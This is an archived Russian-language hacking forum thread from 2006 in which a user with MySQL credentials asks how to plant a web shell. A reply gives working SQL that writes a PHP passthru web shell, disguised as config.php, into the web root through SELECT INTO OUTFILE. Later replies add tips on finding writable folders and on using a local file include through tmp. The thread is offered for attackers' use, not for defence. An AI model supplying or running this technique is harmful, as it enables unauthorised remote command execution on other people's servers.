PDA

Просмотр полной версии : Shell через sql


Ambient_man
05.11.2006, 10:38
Знающие подскажите , реально ли это сделать.

Есть доступ к mysql , то есть логин и пасс для доступа.

Как залить шелл ? и реально ли это ?

Если можно с примерами ...

spheere
05.11.2006, 10:46
CREATE TABLE `config` (`script` TEXT NOT NULL) COMMENT = 'config';
INSERT INTO `config` ( `script` ) VALUES ('<? passthru($_GET['sh']) ?>');
SELECT script FROM `config` INTO OUTFILE '/home/www/html/config.php';
DROP TABLE `config`;

Тока эта, поменяй название таблицы и имя файла...
Ато можно ненароком подменить настоящие.

Ambient_man
05.11.2006, 11:18
CREATE TABLE `config` (`script` TEXT NOT NULL) COMMENT = 'config';
INSERT INTO `config` ( `script` ) VALUES ('<? passthru($_GET['sh']) ?>');
SELECT script FROM `config` INTO OUTFILE '/home/www/html/config.php';
DROP TABLE `config`;

Тока эта, поменяй название таблицы и имя файла...
Ато можно ненароком подменить настоящие.


#1 - Can't create/write to file '..\..\..\www\co2nfig.php' (Errcode: 2)

spheere
05.11.2006, 11:23
Найди папку справами на запись, например Uploads...
И путь подбери, вобщем экспериментируй.

degeneration x
05.11.2006, 12:01
Или если есть локальный инклюд, лей шелл в tmp.

m0nzt3r
06.11.2006, 15:19
эта тема не раз обсуждалась.поиск по словам "into , outfile"